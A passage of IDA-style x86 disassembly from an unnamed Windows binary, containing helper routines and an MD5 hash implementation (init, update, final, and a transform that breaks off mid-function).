		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		test	eax, eax
		jnz	short loc_43492C
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_4348C4
		mov	eax, 2
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4348C4:				; CODE XREF: sub_4348A0+1Bj
		push	edi
		push	esi
		push	eax
		call	sub_401A64
		add	esp, 8
		test	eax, eax
		jz	short loc_4348DD
		mov	edi, 24h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4348DD:				; CODE XREF: sub_4348A0+31j
		cmp	dword ptr [esi+20h], 1
		jnz	short loc_4348ED
		mov	edi, 16h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4348ED:				; CODE XREF: sub_4348A0+41j
		mov	eax, [esi+4]
		push	eax
		call	sub_40164A
; ---------------------------------------------------------------------------
		dw 0F88Bh
		dd 8504C483h, 8B2575FFh, 85102444h, 8B0F74C0h, 5150044Eh
		dd 0C228E890h, 0C085022Fh, 0E8560E74h, 0FFFCCE9Bh, 8B04C483h
		dd 0C35E5FC7h, 3BFh, 5FC78B00h
; ---------------------------------------------------------------------------


loc_43492C:				; CODE XREF: sub_4348A0+12j
		pop	esi
		retn
sub_4348A0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434960	proc near		; CODE XREF: sub_401609j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	10h
		push	1
		xor	edi, edi
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_434985
		mov	ecx, [esp+8+arg_0]
		pop	edi
		mov	eax, 0Ch
		mov	[ecx], esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434985:				; CODE XREF: sub_434960+15j
		nop
		call	near ptr 27306BDh
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jnz	short loc_4349AE
		push	esi
		mov	edi, 0Bh
		nop
		call	near ptr 77C2C21Bh
		mov	edx, [esp+0Ch+arg_0]
		add	esp, 4
		xor	eax, eax
		mov	[edx], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4349AE:				; CODE XREF: sub_434960+30j
		mov	eax, [esp+8+arg_4]
		test	eax, eax
		jz	short loc_4349CB
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	dword ptr [esi+8], 0FFFFFFFFh
		mov	[eax], esi
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4349CB:				; CODE XREF: sub_434960+54j
		mov	ecx, [esp+8+arg_0]
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	esi
		retn
sub_434960	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434A00	proc near		; CODE XREF: sub_401AB4j

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		xor	ebp, ebp
		cmp	ebx, ebp
		jz	loc_434A90
		cmp	[ebx+0Ch], ebp
		jz	short loc_434A6C
		cmp	[ebx+4], ebp
		jz	short loc_434A6C
		lea	eax, [ebx+8]
		push	eax
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	short loc_434A6C
		push	esi
		mov	esi, [ebx+0Ch]
		cmp	esi, ebp
		jz	short loc_434A5F
		push	edi


loc_434A33:				; CODE XREF: sub_434A00+5Cj
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	short loc_434A5A
		mov	edi, [esi+10h]
		push	esi
		mov	[esi+8], ebp
		mov	[esi+10h], ebp
		call	sub_4010C3
		push	esi
		call	sub_40105F
		add	esp, 8
		mov	esi, edi


loc_434A5A:				; CODE XREF: sub_434A00+3Ej
		cmp	esi, ebp
		jnz	short loc_434A33
		pop	edi


loc_434A5F:				; CODE XREF: sub_434A00+30j
		lea	eax, [ebx+8]
		push	eax
		call	sub_4010C3
		add	esp, 4
		pop	esi


loc_434A6C:				; CODE XREF: sub_434A00+13j
					; sub_434A00+18j ...
		mov	eax, [ebx]
		push	eax
		call	near ptr 2730000h
		nop
		cmp	[ebx+4], ebp
		jz	short loc_434A86
		lea	ecx, [ebx+8]
		push	ecx
		call	sub_402252
		add	esp, 4


loc_434A86:				; CODE XREF: sub_434A00+78j
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_434A90:				; CODE XREF: sub_434A00+Aj
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
sub_434A00	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_434AD0	proc near		; CODE XREF: sub_4020F9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_5103B4
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		cmp	esi, eax
		jz	short loc_434AF4
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_434B03
		pop	esi
		mov	eax, 2
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_434AF4:				; CODE XREF: sub_434AD0+11j
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jnz	short loc_434B03
		mov	eax, ebx


loc_434B03:				; CODE XREF: sub_434AD0+1Aj
					; sub_434AD0+2Fj
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_434B65
		test	eax, eax
		jz	short loc_434B52
		mov	ecx, [esi+4]
		test	ecx, ecx
		jz	short loc_434B52
		test	ebx, ebx
		jz	short loc_434B52
		mov	ecx, [eax+80h]
		test	ecx, ecx
		mov	[esp+0Ch+arg_0], ecx
		jz	short loc_434B3D


loc_434B27:				; CODE XREF: sub_434AD0+65j
		cmp	[ecx+8], esi
		jz	short loc_434B39
		mov	ecx, [ecx+0Ch]
		test	ecx, ecx
		mov	[esp+0Ch+arg_0], ecx
		jnz	short loc_434B27
		jmp	short loc_434B3D
; ---------------------------------------------------------------------------


loc_434B39:				; CODE XREF: sub_434AD0+5Aj
		test	ecx, ecx
		jnz	short loc_434B52


loc_434B3D:				; CODE XREF: sub_434AD0+55j
					; sub_434AD0+67j
		push	esi
		push	eax
		lea	eax, [esp+14h+arg_0]
		push	eax
		call	sub_401DDE
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_434B65


loc_434B52:				; CODE XREF: sub_434AD0+3Cj
					; sub_434AD0+43j ...
		mov	ecx, [esi]
		push	ebx
		push	ecx
		call	near ptr 2750000h
		nop
		test	eax, eax
		jnz	short loc_434B65
		mov	edi, 0Bh


loc_434B65:				; CODE XREF: sub_434AD0+38j
					; sub_434AD0+80j ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_434AD0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_434BA0	proc near		; CODE XREF: sub_401190j
		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 27C0890h
		mov	esi, eax
		call	sub_438250
sub_434BA0	endp

; ---------------------------------------------------------------------------
		dd 448BF88Bh, 88B1024h,	0C05CE851h, 5690022Eh, 0C0E8D88Bh
		dd 90022EC1h, 36CAE857h, 8B5F0000h, 0C35B5EC3h,	3 dup(90909090h)
		dd 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_434BF0	proc near		; CODE XREF: sub_401A69j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		mov	[eax+14h], ecx
		mov	[eax+10h], ecx
		mov	dword ptr [eax], 67452301h
		mov	dword ptr [eax+4], 0EFCDAB89h
		mov	dword ptr [eax+8], 98BADCFEh
		mov	dword ptr [eax+0Ch], 10325476h
		retn
sub_434BF0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434C30	proc near		; CODE XREF: sub_401C26j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		push	edi
		mov	edi, [esp+10h+arg_8]
		mov	ecx, [esi+10h]
		mov	eax, ecx
		lea	edx, ds:0[edi*8]
		shr	eax, 3
		lea	ecx, [ecx+edi*8]
		and	eax, 3Fh
		cmp	ecx, edx
		mov	[esi+10h], ecx
		jnb	short loc_434C5B
		inc	dword ptr [esi+14h]


loc_434C5B:				; CODE XREF: sub_434C30+26j
		mov	ebx, [esi+14h]
		mov	ecx, edi
		shr	ecx, 1Dh
		add	ebx, ecx
		mov	[esi+14h], ebx
		mov	ebx, 40h
		sub	ebx, eax
		cmp	edi, ebx
		jb	short loc_434CB9
		mov	edx, [esp+10h+arg_4]
		push	ebx
		lea	eax, [eax+esi+18h]
		push	edx
		push	eax
		call	sub_435A30
		lea	ecx, [esi+18h]
		push	ecx
		push	esi
		call	sub_434DA0
		mov	ebp, ebx
		add	ebx, 3Fh
		add	esp, 14h
		cmp	ebx, edi
		jnb	short loc_434CB5


loc_434C99:				; CODE XREF: sub_434C30+83j
		mov	edx, [esp+10h+arg_4]
		lea	eax, [edx+ebx-3Fh]
		push	eax
		push	esi
		call	sub_434DA0
		add	ebx, 40h
		add	esp, 8
		add	ebp, 40h
		cmp	ebx, edi
		jb	short loc_434C99


loc_434CB5:				; CODE XREF: sub_434C30+67j
		xor	eax, eax
		jmp	short loc_434CBB
; ---------------------------------------------------------------------------


loc_434CB9:				; CODE XREF: sub_434C30+41j
		xor	ebp, ebp


loc_434CBB:				; CODE XREF: sub_434C30+87j
		mov	ecx, [esp+10h+arg_4]
		sub	edi, ebp
		add	ebp, ecx
		push	edi
		lea	edx, [eax+esi+18h]
		push	ebp
		push	edx
		call	sub_435A30
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_434C30	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434D10	proc near		; CODE XREF: sub_402176j

var_8		= byte ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		lea	eax, [esp+8+var_8]
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_4]
		push	8
		lea	esi, [edi+10h]
		push	esi
		push	eax
		call	sub_435950
		mov	eax, [esi]
		add	esp, 0Ch
		shr	eax, 3
		and	eax, 3Fh
		mov	ecx, 38h
		cmp	eax, 38h
		jb	short loc_434D43
		mov	ecx, 78h


loc_434D43:				; CODE XREF: sub_434D10+2Cj
		sub	ecx, eax
		push	ecx
		push	offset aA	; "€"
		push	edi
		call	sub_401C26
		lea	ecx, [esp+1Ch+var_8]
		push	8
		push	ecx
		push	edi
		call	sub_401C26
		mov	edx, [esp+28h+arg_0]
		push	10h
		push	edi
		push	edx
		call	sub_435950
		push	58h
		push	0
		push	edi
		call	sub_435A60
		add	esp, 30h
		pop	edi
		pop	esi
		add	esp, 8
		retn
sub_434D10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434DA0	proc near		; CODE XREF: sub_434C30+58p
					; sub_434C30+73p

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 40h
		mov	ecx, [esp+40h+arg_4]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+4Ch+arg_0]
		push	edi
		push	40h
		lea	edx, [esp+54h+var_40]
		mov	eax, [esi]
		mov	edi, [esi+4]
		mov	ebx, [esi+8]
		mov	ebp, [esi+0Ch]
		push	ecx
		push	edx
		mov	[esp+5Ch+arg_0], eax
		call	sub_4359C0
		mov	eax, edi
		mov	edx, [esp+5Ch+arg_0]
		not	eax
		mov	ecx, ebx
		and	eax, ebp
		and	ecx, edi
		or	eax, ecx
		mov	ecx, [esp+5Ch+var_40]
		add	eax, ecx
		lea	ecx, [edx+eax-28955B88h]
		mov	edx, edi
		mov	eax, ecx
		shr	eax, 19h
		shl	ecx, 7
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	edx, eax
		not	ecx
		and	ecx, ebx
		or	ecx, edx
		mov	edx, [esp+5Ch+var_3C]
		add	ecx, edx
		lea	edx, [ecx+ebp-173848AAh]
		mov	ecx, edx
		shr	ecx, 14h
		shl	edx, 0Ch
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		mov	ebp, ecx
		not	edx
		and	edx, edi
		and	ebp, eax
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_38]
		add	edx, ebp
		mov	ebp, ecx
		lea	ebx, [ebx+edx+242070DBh]
		mov	edx, ebx
		shr	edx, 0Fh
		shl	ebx, 11h
		or	edx, ebx
		add	edx, ecx
		mov	ebx, edx
		and	ebp, edx
		not	ebx
		and	ebx, eax
		or	ebx, ebp
		mov	ebp, [esp+5Ch+var_34]
		add	ebx, ebp
		lea	ebx, [edi+ebx-3E423112h]
		mov	edi, ebx
		shl	edi, 16h
		shr	ebx, 0Ah
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		mov	[esp+5Ch+arg_0], edi
		mov	ebp, [esp+5Ch+arg_0]
		not	edi
		and	edi, ecx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_30]
		or	edi, ebx
		add	edi, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	eax, [eax+edi-0A83F051h]
		mov	edi, eax
		shr	edi, 19h
		shl	eax, 7
		or	edi, eax
		add	edi, ebx
		mov	eax, edi
		and	ebp, edi
		not	eax
		and	eax, edx
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_2C]
		add	eax, ebp
		lea	ecx, [ecx+eax+4787C62Ah]
		mov	eax, ecx
		shr	eax, 14h
		shl	ecx, 0Ch
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		mov	ebp, eax
		not	ecx
		and	ecx, ebx
		and	ebp, edi
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_28]
		add	ecx, ebp
		mov	ebp, eax
		lea	edx, [edx+ecx-57CFB9EDh]
		mov	ecx, edx
		shr	ecx, 0Fh
		shl	edx, 11h
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		and	ebp, ecx
		not	edx
		and	edx, edi
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_24]
		add	edx, ebp
		lea	ebx, [ebx+edx-2B96AFFh]
		mov	edx, ebx
		shl	edx, 16h
		shr	ebx, 0Ah
		or	edx, ebx
		mov	ebx, ecx
		add	edx, ecx
		mov	[esp+5Ch+arg_0], edx
		mov	ebp, [esp+5Ch+arg_0]
		not	edx
		and	edx, eax
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_20]
		or	edx, ebx
		add	edx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	edi, [edi+edx+698098D8h]
		mov	edx, edi
		shr	edx, 19h
		shl	edi, 7
		or	edx, edi
		add	edx, ebx
		mov	edi, edx
		and	ebp, edx
		not	edi
		and	edi, ecx
		or	edi, ebp
		mov	ebp, [esp+5Ch+var_1C]
		add	edi, ebp
		lea	eax, [eax+edi-74BB0851h]
		mov	edi, eax
		shr	edi, 14h
		shl	eax, 0Ch
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		not	eax
		mov	ebp, edi
		and	eax, ebx
		and	ebp, edx
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_18]
		add	eax, ebp
		mov	ebp, edi
		lea	ecx, [ecx+eax-0A44Fh]
		mov	eax, ecx
		shr	eax, 0Fh
		shl	ecx, 11h
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	ebp, eax
		not	ecx
		and	ecx, edx
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_14]
		add	ecx, ebp
		lea	ebx, [ebx+ecx-76A32842h]
		mov	ecx, ebx
		shl	ecx, 16h
		shr	ebx, 0Ah
		or	ecx, ebx
		mov	ebx, eax
		add	ecx, eax
		mov	[esp+5Ch+arg_0], ecx
		mov	ebp, [esp+5Ch+arg_0]
		not	ecx
		and	ecx, edi
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_10]
		or	ecx, ebx
		add	ecx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	edx, [edx+ecx+6B901122h]
		mov	ecx, edx
		shr	ecx, 19h
		shl	edx, 7
		or	ecx, edx
		add	ecx, ebx
		mov	edx, ecx
		and	ebp, ecx
		not	edx
		and	edx, eax
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_C]
		add	edx, ebp
		lea	edi, [edi+edx-2678E6Dh]
		mov	edx, edi
		shr	edx, 14h
		shl	edi, 0Ch
		or	edx, edi
		add	edx, ecx
		mov	ebp, edx
		mov	edi, edx
		not	ebp
		and	edi, ecx
		and	ebx, ebp
		or	edi, ebx
		mov	ebx, [esp+5Ch+var_8]
		add	edi, ebx
		mov	ebx, edx
		lea	eax, [eax+edi-5986BC72h]
		mov	edi, eax
		shr	edi, 0Fh
		shl	eax, 11h
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		and	ebx, edi
		not	eax
		mov	[esp+5Ch+arg_4], eax
		and	eax, ecx
		or	eax, ebx
		mov	ebx, [esp+5Ch+var_4]
		add	eax, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+eax+49B40821h]
		mov	eax, ebx
		shl	eax, 16h
		shr	ebx, 0Ah
		or	eax, ebx
		mov	ebx, edx
		add	eax, edi
		mov	[esp+5Ch+arg_0], eax
		and	ebx, eax
		mov	eax, edi
		and	eax, ebp
		mov	ebp, [esp+5Ch+var_3C]
		or	ebx, eax
		add	ebx, ebp
		mov	ebp, edi
		lea	ecx, [ecx+ebx-9E1DA9Eh]
		mov	ebx, [esp+5Ch+arg_0]
		mov	eax, ecx
		shr	eax, 1Bh
		shl	ecx, 5
		or	eax, ecx
		mov	ecx, [esp+5Ch+arg_4]
		add	eax, ebx
		and	ecx, ebx
		and	ebp, eax
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_28]
		add	ecx, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	edx, [edx+ecx-3FBF4CC0h]
		and	ebx, eax
		mov	ecx, edx
		shr	ecx, 17h
		shl	edx, 9
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		and	edx, ebp
		mov	ebp, [esp+5Ch+var_14]
		or	ebx, edx
		add	ebx, ebp
		lea	edi, [edi+ebx+265E5A51h]
		mov	edx, edi
		shr	edx, 12h
		shl	edi, 0Eh
		or	edx, edi
		mov	edi, eax
		add	edx, ecx
		not	edi
		mov	ebx, edx
		and	edi, ecx
		and	ebx, eax
		or	edi, ebx
		mov	ebx, [esp+5Ch+var_40]
		add	edi, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+edi-16493856h]
		mov	edi, ebx
		shl	edi, 14h
		shr	ebx, 0Ch
		or	edi, ebx
		mov	ebx, ecx
		add	edi, edx
		mov	[esp+5Ch+arg_0], edi
		mov	edi, ecx
		mov	ebp, [esp+5Ch+arg_0]
		not	edi
		and	edi, edx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_2C]
		or	edi, ebx
		add	edi, ebp
		mov	ebx, [esp+5Ch+arg_0]
		lea	eax, [eax+edi-29D0EFA3h]
		mov	edi, eax
		shr	edi, 1Bh
		shl	eax, 5
		or	edi, eax
		mov	eax, edx
		add	edi, ebx
		not	eax
		mov	ebp, edx
		and	eax, ebx
		and	ebp, edi
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_18]
		add	eax, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	ecx, [ecx+eax+2441453h]
		and	ebx, edi
		mov	eax, ecx
		shr	eax, 17h
		shl	ecx, 9
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	ecx, ebp
		mov	ebp, [esp+5Ch+var_4]
		or	ebx, ecx
		add	ebx, ebp
		lea	edx, [edx+ebx-275E197Fh]
		mov	ecx, edx
		shr	ecx, 12h
		shl	edx, 0Eh
		or	ecx, edx
		mov	edx, edi
		add	ecx, eax
		not	edx
		mov	ebx, ecx
		and	edx, eax
		and	ebx, edi
		or	edx, ebx
		mov	ebx, [esp+5Ch+var_30]
		add	edx, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+edx-182C0438h]
		mov	edx, ebx
		shl	edx, 14h
		shr	ebx, 0Ch
		or	edx, ebx
		mov	ebx, eax
		add	edx, ecx
		mov	[esp+5Ch+arg_0], edx
		mov	edx, eax
		mov	ebp, [esp+5Ch+arg_0]
		not	edx
		and	edx, ecx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_1C]
		or	edx, ebx
		add	edx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ecx
		lea	edi, [edi+edx+21E1CDE6h]
		mov	edx, edi
		shr	edx, 1Bh
		shl	edi, 5
		or	edx, edi
		mov	edi, ecx
		add	edx, ebx
		not	edi
		and	edi, ebx
		and	ebp, edx
		or	edi, ebp
		mov	ebp, [esp+5Ch+var_8]
		add	edi, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	eax, [eax+edi-3CC8F82Ah]
		and	ebx, edx
		mov	edi, eax
		shr	edi, 17h
		shl	eax, 9
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		and	eax, ebp
		mov	ebp, [esp+5Ch+var_34]
		or	ebx, eax
		add	ebx, ebp
		lea	ecx, [ecx+ebx-0B2AF279h]
		mov	eax, ecx
		shr	eax, 12h
		shl	ecx, 0Eh
		or	eax, ecx
		mov	ecx, edx
		add	eax, edi
		not	ecx
		mov	ebx, eax
		and	ecx, edi
		and	ebx, edx
		or	ecx, ebx
		mov	ebx, [esp+5Ch+var_20]
		add	ecx, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+ecx+455A14EDh]
		mov	ecx, ebx
		shl	ecx, 14h
		shr	ebx, 0Ch
		or	ecx, ebx
		mov	ebx, edi
		add	ecx, eax
		mov	[esp+5Ch+arg_0], ecx
		mov	ecx, edi
		mov	ebp, [esp+5Ch+arg_0]
		not	ecx
		and	ecx, eax
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_C]
		or	ecx, ebx
		add	ecx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, eax
		lea	edx, [edx+ecx-561C16FBh]
		mov	ecx, edx
		shr	ecx, 1Bh
		shl	edx, 5
		or	ecx, edx
		mov	edx, eax
		add	ecx, ebx
		not	edx
		and	edx, ebx
		and	ebp, ecx
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_38]
		add	edx, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	edi, [edi+edx-3105C08h]
		and	ebx, ecx
		mov	edx, edi
		shr	edx, 17h
		shl	edi, 9
		or	edx, edi
		add	edx, ecx
		mov	edi, edx
		and	edi, ebp
		mov	ebp, [esp+5Ch+var_24]
		or	ebx, edi
		add	ebx, ebp
		lea	eax, [eax+ebx+676F02D9h]
		mov	edi, eax
		shr	edi, 12h
		shl	eax, 0Eh
		or	edi, eax
		mov	eax, ecx
		add	edi, edx
		not	eax
		mov	ebx, edi
		and	eax, edx
		and	ebx, ecx
		or	eax, ebx
		mov	ebx, [esp+5Ch+var_10]
		add	eax, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+eax-72D5B376h]
		mov	eax, ebx
		shl	eax, 14h
		shr	ebx, 0Ch
		or	eax, ebx
		add	eax, edi
		mov	ebp, [esp+5Ch+var_2C]
		mov	ebx, edx
		xor	ebx, edi
		xor	ebx, eax
		add	ebx, ebp
		mov	ebp, [esp+5Ch+var_20]
		lea	ecx, [ecx+ebx-5C6BEh]
		mov	ebx, ecx
		shr	ebx, 1Ch
		shl	ecx, 4
		or	ebx, ecx
		mov	ecx, edi
		add	ebx, eax
		xor	ecx, eax
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_14]
		lea	ecx, [edx+ecx-788E097Fh]
		mov	edx, ecx
		shr	edx, 15h
		shl	ecx, 0Bh
		or	edx, ecx
		add	edx, ebx
		mov	ecx, edx
		xor	ecx, eax
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_8]
		lea	ecx, [edi+ecx+6D9D6122h]
		mov	edi, ecx
		shr	edi, 10h
		shl	ecx, 10h
		or	edi, ecx
		mov	ecx, edx
		add	edi, edx
		xor	ecx, edi
		mov	[esp+5Ch+arg_0], ecx
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_3C]
		lea	eax, [eax+ecx-21AC7F4h]
		mov	ecx, eax
		shl	ecx, 17h
		shr	eax, 9
		or	ecx, eax
		mov	eax, [esp+5Ch+arg_0]
		add	ecx, edi
		xor	eax, ecx
		add	eax, ebp
		mov	ebp, [esp+5Ch+var_30]
		lea	ebx, [ebx+eax-5B4115BCh]
		mov	eax, ebx
		shr	eax, 1Ch
		shl	ebx, 4
		or	eax, ebx
		mov	ebx, edi
		add	eax, ecx
		xor	ebx, ecx
		xor	ebx, eax
		add	ebx, ebp
		mov	ebp, [esp+5Ch+var_24]
		lea	edx, [edx+ebx+4BDECFA9h]
		mov	ebx, edx
		shr	ebx, 15h
		shl	edx, 0Bh
		or	ebx, edx
		add	ebx, eax
		mov	edx, ebx
		xor	edx, ecx
		xor	edx, eax
		add	edx, ebp
		lea	edi, [edi+edx-944B4A0h]
		mov	edx, edi
		shr	edx, 10h
		shl	edi, 10h
		or	edx, edi
		mov	edi, ebx
		add	edx, ebx
		xor	edi, edx
		mov	ebp, edi
		xor	ebp, eax
		add	ebp, [esp+5Ch+var_18]
		lea	ebp, [ecx+ebp-41404390h]
		mov	ecx, ebp
		shl	ecx, 17h
		shr	ebp, 9
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_C]
		add	ecx, edx
		xor	edi, ecx
		add	edi, ebp
		mov	ebp, [esp+5Ch+var_40]
		lea	edi, [eax+edi+289B7EC6h]
		mov	eax, edi
		shr	eax, 1Ch
		shl	edi, 4
		or	eax, edi
		mov	edi, edx
		add	eax, ecx
		xor	edi, ecx
		xor	edi, eax
		add	edi, ebp
		mov	ebp, [esp+5Ch+var_34]
		lea	ebx, [ebx+edi-155ED806h]
		mov	edi, ebx
		shr	edi, 15h
		shl	ebx, 0Bh
		or	edi, ebx
		add	edi, eax
		mov	ebx, edi
		xor	ebx, ecx
		xor	ebx, eax
		add	ebx, ebp
		lea	edx, [edx+ebx-2B10CF7Bh]
		mov	ebx, edx
		shr	ebx, 10h
		shl	edx, 10h
		or	ebx, edx
		mov	edx, edi
		add	ebx, edi
		xor	edx, ebx
		mov	ebp, edx
		xor	ebp, eax
		add	ebp, [esp+5Ch+var_28]
		lea	ebp, [ecx+ebp+4881D05h]
		mov	ecx, ebp
		shl	ecx, 17h
		shr	ebp, 9
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_1C]
		add	ecx, ebx
		xor	edx, ecx
		add	edx, ebp
		lea	edx, [eax+edx-262B2FC7h]
		mov	eax, edx
		shr	eax, 1Ch
		shl	edx, 4
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		xor	edx, ecx
		xor	edx, eax
		add	edx, [esp+5Ch+var_10]
		lea	edi, [edi+edx-1924661Bh]
		mov	edx, edi
		shr	edx, 15h
		shl	edi, 0Bh
		or	edx, edi
		add	edx, eax
		mov	edi, edx
		xor	edi, ecx
		xor	edi, eax
		add	edi, [esp+5Ch+var_4]
		lea	ebx, [ebx+edi+1FA27CF8h]
		mov	edi, ebx
		shr	edi, 10h
		shl	ebx, 10h
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		xor	ebx, edi
		xor	ebx, eax
		add	ebx, [esp+5Ch+var_38]
		lea	ecx, [ecx+ebx-3B53A99Bh]
		mov	ebx, ecx
		shl	ebx, 17h
		shr	ecx, 9
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_40]
		lea	eax, [eax+ecx-0BD6DDBCh]
		mov	ecx, eax
		shr	ecx, 1Ah
		shl	eax, 6
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_24]
		lea	edx, [edx+eax+432AFF97h]
		mov	eax, edx
		shr	eax, 16h
		shl	edx, 0Ah
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_8]
